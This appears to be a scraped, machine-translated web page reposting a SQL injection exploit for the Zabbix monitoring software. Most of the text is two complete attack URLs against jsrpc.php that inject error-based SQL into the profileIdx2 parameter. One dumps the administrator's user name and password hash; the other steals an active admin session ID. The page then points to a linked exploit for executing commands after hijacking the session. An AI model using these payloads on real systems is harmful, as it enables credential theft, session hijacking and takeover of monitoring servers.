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Zabbix Latest SQL injection exploit

Source: Internet
Author: User
Tags session id rand
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FREEBUF burst Zabbix SQL injection: http://www.freebuf.com/vuls/112197.html

Vulnerability testing:

User name and password:

http://192.168.1.13/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select (1) from users where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(alias,0x7e,passwd,0x7e) from users limit 1)),1,62)))a from information_schema.tables group by a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

Burst SessionID (Replaceable refresh Login-the session ID in the replacement cookie)

http://192.168.1.13/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select (1) from users where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(sessionid,0x7e,userid,0x7e,status) from sessions where status=0 and userid=1 LIMIT 0,1)),1,62)))a from information_schema.tables group by a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

With this login command to execute using https://www.exploit-db.com/exploits/39937/

Zabbix Latest SQL injection exploit

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Related Keywords:
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